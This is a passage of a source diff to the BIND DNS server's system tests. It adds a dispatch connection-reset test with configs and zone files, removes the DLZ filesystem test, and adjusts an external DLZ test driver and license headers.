+write_pid()
+
+udp = udp_listen(port())
+tcp = tcp_listen(port())
+
+input = [udp, tcp]
+
+while True:
+    try:
+        inputready, outputready, exceptready = select.select(input, [], [])
+    except select.error:
+        break
+    except socket.error:
+        break
+    except KeyboardInterrupt:
+        break
+
+    for s in inputready:
+        if s == udp:
+            udp_tc_once(udp)
+        if s == tcp:
+            tcp_once(tcp)
+
+sigterm(signal.SIGTERM, 0)
diff --git a/bin/tests/system/dispatch/clean.sh b/bin/tests/system/dispatch/clean.sh
new file mode 100644
index 0000000000..608ec5ccf4
--- /dev/null
+++ b/bin/tests/system/dispatch/clean.sh
@@ -0,0 +1,16 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+rm -f ns*/named.run ns*/named.conf ns*/named.pid ns*/managed-keys.bind*
+rm -f ans*/ans.run ans*/ans.pid
+rm -f ns*/named.memstats
diff --git a/bin/tests/system/dispatch/ns1/named.conf.in b/bin/tests/system/dispatch/ns1/named.conf.in
new file mode 100644
index 0000000000..d3337a5db4
--- /dev/null
+++ b/bin/tests/system/dispatch/ns1/named.conf.in
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+options {
+	port @PORT@;
+	pid-file "named.pid";
+
+	listen-on { 10.53.0.1; };
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+
+	listen-on-v6 { fd92:7065:b8e:ffff::1; };
+	query-source-v6 address fd92:7065:b8e:ffff::1;
+	notify-source-v6 fd92:7065:b8e:ffff::1;
+	transfer-source-v6 fd92:7065:b8e:ffff::1;
+
+	recursion no;
+	servfail-ttl 0;
+	dnssec-validation no;
+};
+
+zone "." {
+	type primary;
+	file "root.db";
+};
diff --git a/bin/tests/system/dispatch/ns1/root.db b/bin/tests/system/dispatch/ns1/root.db
new file mode 100644
index 0000000000..b6b73675fd
--- /dev/null
+++ b/bin/tests/system/dispatch/ns1/root.db
@@ -0,0 +1,16 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+.		300	SOA	. . 0 0 0 0 0
+.		300	NS	ns.nil.
+ns.nil.		300	A	10.53.0.1
+example.	300	NS	ns.example.
+ns.example.	300	A	10.53.0.2
diff --git a/bin/tests/system/dispatch/ns2/example.db b/bin/tests/system/dispatch/ns2/example.db
new file mode 100644
index 0000000000..f60a47e37a
--- /dev/null
+++ b/bin/tests/system/dispatch/ns2/example.db
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+example.		86400	IN	SOA	ns.example. root.example. 43 10800 900 604800 86400
+example.		86400	IN	NS	ns.example.
+ns.example.				A	10.53.0.2
+
+ns.sub.example.				A	10.53.0.3
+sub.example.				NS	ns.sub.example.
diff --git a/bin/tests/system/dispatch/ns2/named.conf.in b/bin/tests/system/dispatch/ns2/named.conf.in
new file mode 100644
index 0000000000..50f2c34494
--- /dev/null
+++ b/bin/tests/system/dispatch/ns2/named.conf.in
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+options {
+	port @PORT@;
+	pid-file "named.pid";
+
+	listen-on { 10.53.0.2; };
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
+
+	listen-on-v6 { fd92:7065:b8e:ffff::2; };
+	query-source-v6 address fd92:7065:b8e:ffff::2;
+	notify-source-v6 fd92:7065:b8e:ffff::2;
+	transfer-source-v6 fd92:7065:b8e:ffff::2;
+
+	recursion yes;
+	servfail-ttl 0;
+	dnssec-validation no;
+};
+
+zone "." {
+	type hint;
+	file "../../common/root.hint";
+};
+
+zone "example" {
+	type primary;
+	file "example.db";
+};
diff --git a/bin/tests/system/dispatch/setup.sh b/bin/tests/system/dispatch/setup.sh
new file mode 100644
index 0000000000..6929ec541d
--- /dev/null
+++ b/bin/tests/system/dispatch/setup.sh
@@ -0,0 +1,17 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+. ../conf.sh
+
+copy_setports ns1/named.conf.in ns1/named.conf
+copy_setports ns2/named.conf.in ns2/named.conf
diff --git a/bin/tests/system/dispatch/tests_connreset.py b/bin/tests/system/dispatch/tests_connreset.py
new file mode 100644
index 0000000000..f74bfd719a
--- /dev/null
+++ b/bin/tests/system/dispatch/tests_connreset.py
@@ -0,0 +1,27 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import pytest
+
+pytest.importorskip("dns")
+import dns.message
+import dns.query
+import dns.rcode
+
+
+def test_connreset(named_port):
+    msg = dns.message.make_query(
+        "sub.example.", "A", want_dnssec=True, use_edns=0, payload=1232
+    )
+    ans = dns.query.udp(msg, "10.53.0.2", timeout=10, port=named_port)
+    assert ans.rcode() == dns.rcode.SERVFAIL
diff --git a/bin/tests/system/ditch.pl b/bin/tests/system/ditch.pl
index 5a62a524b4..e2082503d7 100644
--- a/bin/tests/system/ditch.pl
+++ b/bin/tests/system/ditch.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dlz/.gitignore b/bin/tests/system/dlz/.gitignore
deleted file mode 100644
index eee491d3c6..0000000000
--- a/bin/tests/system/dlz/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-prereq.sh
diff --git a/bin/tests/system/dlz/clean.sh b/bin/tests/system/dlz/clean.sh
deleted file mode 100644
index 9e70fbb004..0000000000
--- a/bin/tests/system/dlz/clean.sh
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-rm -f ns*/named.conf
-rm -f dig.out.*
-rm -f */named.memstats
-rm -f */named.run
-rm -f ns*/named.lock
-rm -f ns*/managed-keys.bind*
diff --git a/bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/DNAME=10=example.net.= b/bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/DNAME=10=example.net.=
deleted file mode 100644
index 50d2ad0c40..0000000000
--- a/bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/DNAME=10=example.net.=
+++ /dev/null
@@ -1,6 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-The contents of this file is not read by the filesystem driver.
-This is the file for "DNAME 10 example.net.".
diff --git a/bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/NS=10=example.com.= b/bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/NS=10=example.com.=
deleted file mode 100644
index 5faa45cefc..0000000000
--- a/bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/NS=10=example.com.=
+++ /dev/null
@@ -1,6 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-The contents of this file is not read by the filesystem driver.
-This is the file for "NS 10 example.com.".
diff --git a/bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/SOA=10=ns.example.com.=root.example.com.=None=None=None=None=None= b/bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/SOA=10=ns.example.com.=root.example.com.=None=None=None=None=None=
deleted file mode 100644
index ee74e03ede..0000000000
--- a/bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/SOA=10=ns.example.com.=root.example.com.=None=None=None=None=None=
+++ /dev/null
@@ -1,6 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-The contents of this file is not read by the filesystem driver.
-This is the file for "SOA 10 ns.example.com. root.example.com. 2010062900 None None None None" which is a malformed SOA record.
diff --git a/bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/DNAME=10=example.net.= b/bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/DNAME=10=example.net.=
deleted file mode 100644
index 50d2ad0c40..0000000000
--- a/bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/DNAME=10=example.net.=
+++ /dev/null
@@ -1,6 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-The contents of this file is not read by the filesystem driver.
-This is the file for "DNAME 10 example.net.".
diff --git a/bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/NS=10=example.com.= b/bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/NS=10=example.com.=
deleted file mode 100644
index 5faa45cefc..0000000000
--- a/bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/NS=10=example.com.=
+++ /dev/null
@@ -1,6 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-The contents of this file is not read by the filesystem driver.
-This is the file for "NS 10 example.com.".
diff --git a/bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/SOA=10=ns.example.com.=root.example.com.=2010062900=0=0=0=10= b/bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/SOA=10=ns.example.com.=root.example.com.=2010062900=0=0=0=10=
deleted file mode 100644
index 2f63999a56..0000000000
--- a/bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/SOA=10=ns.example.com.=root.example.com.=2010062900=0=0=0=10=
+++ /dev/null
@@ -1,6 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-The contents of this file is not read by the filesystem driver.
-This is the file for "SOA 10 ns.example.com. root.example.com. 2010062900 0 0 0 10".
diff --git a/bin/tests/system/dlz/ns1/dns-root/com/example/xfr.d/10.53.0.1 b/bin/tests/system/dlz/ns1/dns-root/com/example/xfr.d/10.53.0.1
deleted file mode 100644
index 8a07d4faee..0000000000
--- a/bin/tests/system/dlz/ns1/dns-root/com/example/xfr.d/10.53.0.1
+++ /dev/null
@@ -1,6 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-The contents of this file are not read by the filesystem driver.
-The presence of this file allows 10.53.0.1 to transfer this zone.
diff --git a/bin/tests/system/dlz/ns1/named.conf.in b/bin/tests/system/dlz/ns1/named.conf.in
deleted file mode 100644
index 273ff02c79..0000000000
--- a/bin/tests/system/dlz/ns1/named.conf.in
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-};
-
-dlz fszone {
-	database "filesystem dns-root/ dns.d xfr.d 0 =";
-};
diff --git a/bin/tests/system/dlz/prereq.sh b/bin/tests/system/dlz/prereq.sh
deleted file mode 100644
index 7d8a3463df..0000000000
--- a/bin/tests/system/dlz/prereq.sh
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-if ! $FEATURETEST --with-dlz-filesystem; then
-        echo_i "DLZ filesystem driver not supported"
-        exit 255
-fi
-exit 0
diff --git a/bin/tests/system/dlz/setup.sh b/bin/tests/system/dlz/setup.sh
deleted file mode 100644
index 7e31a69049..0000000000
--- a/bin/tests/system/dlz/setup.sh
+++ /dev/null
@@ -1,15 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-$SHELL clean.sh
-copy_setports ns1/named.conf.in ns1/named.conf
diff --git a/bin/tests/system/dlz/tests.sh b/bin/tests/system/dlz/tests.sh
deleted file mode 100644
index 4e75b0dba8..0000000000
--- a/bin/tests/system/dlz/tests.sh
+++ /dev/null
@@ -1,74 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-status=0
-n=0
-
-rm -f dig.out.*
-
-DIGOPTS="+tcp +noadd +nosea +nostat +nocmd +dnssec -p ${PORT}"
-
-# Check the example.com. domain
-
-echo_i "checking DNAME at apex works ($n)"
-ret=0
-$DIG $DIGOPTS +norec foo.example.com. \
-	@10.53.0.1 a > dig.out.ns1.test$n || ret=1
-grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
-grep "example.com..*DNAME.*example.net." dig.out.ns1.test$n > /dev/null || ret=1
-grep "foo.example.com..*CNAME.*foo.example.net." dig.out.ns1.test$n > /dev/null || ret=1
-grep "flags:[^;]* aa[ ;]" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking DLZ IXFR=2010062899 (less than serial) ($n)"
-ret=0
-$DIG $DIGOPTS ixfr=2010062899 example.com @10.53.0.1 +all > dig.out.ns1.test$n 
-grep "example.com..*IN.IXFR" dig.out.ns1.test$n > /dev/null || ret=1
-grep "example.com..*10.IN.DNAME.example.net." dig.out.ns1.test$n > /dev/null || ret=1
-grep "example.com..*10.IN.NS.example.com." dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking DLZ IXFR=2010062900 (equal serial) ($n)"
-ret=0
-$DIG $DIGOPTS ixfr=2010062900 example.com @10.53.0.1 +all > dig.out.ns1.test$n
-grep "example.com..*IN.IXFR" dig.out.ns1.test$n > /dev/null || ret=1
-grep "example.com..*10.IN.DNAME.example.net." dig.out.ns1.test$n > /dev/null && ret=1
-grep "example.com..*10.IN.NS.example.com." dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking DLZ IXFR=2010062901 (greater than serial) ($n)"
-ret=0
-$DIG $DIGOPTS ixfr=2010062901 example.com @10.53.0.1 +all > dig.out.ns1.test$n
-grep "example.com..*IN.IXFR" dig.out.ns1.test$n > /dev/null || ret=1
-grep "example.com..*10.IN.DNAME.example.net." dig.out.ns1.test$n > /dev/null && ret=1
-grep "example.com..*10.IN.NS.example.com." dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking DLZ with a malformed SOA record"
-ret=0
-$DIG $DIGOPTS broken.com type600 @10.53.0.1 > dig.out.ns1.test$n
-grep status: dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "exit status: $status"
-[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/dlzexternal/clean.sh b/bin/tests/system/dlzexternal/clean.sh
index 65b4725a8a..2bbf75b214 100644
--- a/bin/tests/system/dlzexternal/clean.sh
+++ b/bin/tests/system/dlzexternal/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dlzexternal/driver/Makefile.am b/bin/tests/system/dlzexternal/driver/Makefile.am
index a8211d1fb1..0028edb573 100644
--- a/bin/tests/system/dlzexternal/driver/Makefile.am
+++ b/bin/tests/system/dlzexternal/driver/Makefile.am
@@ -4,7 +4,7 @@ AM_CPPFLAGS +=			\
 	$(LIBISC_CFLAGS)	\
 	$(LIBDNS_CFLAGS)
 
-check_LTLIBRARIES = dlzexternal.la
+noinst_LTLIBRARIES = dlzexternal.la
 
 dlzexternal_la_SOURCES =	\
 	driver.c		\
diff --git a/bin/tests/system/dlzexternal/driver/driver.c b/bin/tests/system/dlzexternal/driver/driver.c
index 3a98a32f5b..20edfd03e4 100644
--- a/bin/tests/system/dlzexternal/driver/driver.c
+++ b/bin/tests/system/dlzexternal/driver/driver.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -255,10 +257,9 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	struct dlz_example_data *state;
 	const char *helper_name;
 	va_list ap;
-	char soa_data[1024];
-	const char *extra;
+	char soa_data[sizeof("@ hostmaster.root 123 900 600 86400 3600")];
 	isc_result_t result;
-	int n;
+	size_t n;
 
 	UNUSED(dlzname);
 
@@ -292,19 +293,19 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 		sprintf(state->zone_name, "%s.", argv[1]);
 	}
 
+	/*
+	 * Use relative names to trigger ISC_R_NOSPACE in dns_sdlz_putrr.
+	 */
 	if (strcmp(state->zone_name, ".") == 0) {
-		extra = ".root";
+		n = strlcpy(soa_data,
+			    "@ hostmaster.root 123 900 600 86400 3600",
+			    sizeof(soa_data));
 	} else {
-		extra = ".";
+		n = strlcpy(soa_data, "@ hostmaster 123 900 600 86400 3600",
+			    sizeof(soa_data));
 	}
 
-	n = sprintf(soa_data, "%s hostmaster%s%s 123 900 600 86400 3600",
-		    state->zone_name, extra, state->zone_name);
-
-	if (n < 0) {
-		CHECK(ISC_R_FAILURE);
-	}
-	if ((unsigned)n >= sizeof(soa_data)) {
+	if (n >= sizeof(soa_data)) {
 		CHECK(ISC_R_NOSPACE);
 	}
 
@@ -479,8 +480,7 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	 * If the DLZ only operates on 'live' data, then version
 	 * wouldn't necessarily be needed.
 	 */
-	if (clientinfo != NULL && clientinfo->version >= DNS_CLIENTINFO_VERSION)
-	{
+	if (clientinfo != NULL && clientinfo->version >= 2) {
 		dbversion = clientinfo->dbversion;
 		if (dbversion != NULL && *(bool *)dbversion) {
 			loginfo("dlz_example: lookup against live transaction");
@@ -488,6 +488,7 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	}
 
 	if (strcmp(name, "source-addr") == 0) {
+		char ecsbuf[DNS_ECS_FORMATSIZE] = "not supported";
 		strncpy(buf, "unknown", sizeof(buf));
 		if (methods != NULL && methods->sourceip != NULL &&
 		    (methods->version - methods->age <=
@@ -497,6 +498,17 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 			methods->sourceip(clientinfo, &src);
 			fmt_address(src, buf, sizeof(buf));
 		}
+		if (clientinfo != NULL && clientinfo->version >= 3) {
+			if (clientinfo->ecs.addr.family != AF_UNSPEC) {
+				dns_ecs_format(&clientinfo->ecs, ecsbuf,
+					       sizeof(ecsbuf));
+			} else {
+				snprintf(ecsbuf, sizeof(ecsbuf), "%s",
+					 "not present");
+			}
+		}
+		i = strlen(buf);
+		snprintf(buf + i, sizeof(buf) - i - 1, " ECS %s", ecsbuf);
 
 		loginfo("dlz_example: lookup connection from %s", buf);
 
@@ -508,7 +520,8 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	}
 
 	if (strcmp(name, "too-long") == 0 ||
-	    strcmp(zone, "bigcname.domain") == 0) {
+	    strcmp(zone, "bigcname.domain") == 0)
+	{
 		for (i = 0; i < 511; i++) {
 			buf[i] = 'x';
 		}
@@ -530,7 +543,8 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	}
 
 	if (strcmp(name, "long.name.is.not.there") == 0 &&
-	    strcmp(zone, ".") == 0) {
+	    strcmp(zone, ".") == 0)
+	{
 		result = state->putrr(lookup, "A", 0, "100.100.100.3");
 		found = true;
 		if (result != ISC_R_SUCCESS) {
diff --git a/bin/tests/system/dlzexternal/driver/driver.h b/bin/tests/system/dlzexternal/driver/driver.h
index 3dc3cb1175..2c1a594a29 100644
--- a/bin/tests/system/dlzexternal/driver/driver.h
+++ b/bin/tests/system/dlzexternal/driver/driver.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/bin/tests/system/dlzexternal/ns1/named.conf.in b/bin/tests/system/dlzexternal/ns1/named.conf.in
index 1fa0d45809..f8b36e9620 100644
--- a/bin/tests/system/dlzexternal/ns1/named.conf.in
+++ b/bin/tests/system/dlzexternal/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -21,11 +23,12 @@ options {
 	allow-transfer { !10.53.0.1; any; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 include "ddns.key";
@@ -46,6 +49,11 @@ dlz "example three" {
 	database "dlopen ../driver/.libs/dlzexternal.so example.org";
 };
 
+dlz "example four" {
+	// Long zone name to trigger ISC_R_NOSPACE in dns_sdlz_putrr.
+        database "dlopen ../driver/.libs/dlzexternal.so 123456789.123456789.123456789.123456789.123456789.example.foo";
+};
+
 dlz "unsearched1" {
 	database "dlopen ../driver/.libs/dlzexternal.so other.nil";
 	search no;
diff --git a/bin/tests/system/dlzexternal/ns1/root.db b/bin/tests/system/dlzexternal/ns1/root.db
index 45a6b04c59..6cbe5798ca 100644
--- a/bin/tests/system/dlzexternal/ns1/root.db
+++ b/bin/tests/system/dlzexternal/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dlzexternal/prereq.sh b/bin/tests/system/dlzexternal/prereq.sh
index 4e1817215a..066a74eb09 100644
--- a/bin/tests/system/dlzexternal/prereq.sh
+++ b/bin/tests/system/dlzexternal/prereq.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dlzexternal/setup.sh b/bin/tests/system/dlzexternal/setup.sh
index ffa6e337bd..dda16df058 100644
--- a/bin/tests/system/dlzexternal/setup.sh
+++ b/bin/tests/system/dlzexternal/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dlzexternal/tests.sh b/bin/tests/system/dlzexternal/tests.sh
index 39af1bba17..a86ea7e9ca 100644
--- a/bin/tests/system/dlzexternal/tests.sh
+++ b/bin/tests/system/dlzexternal/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
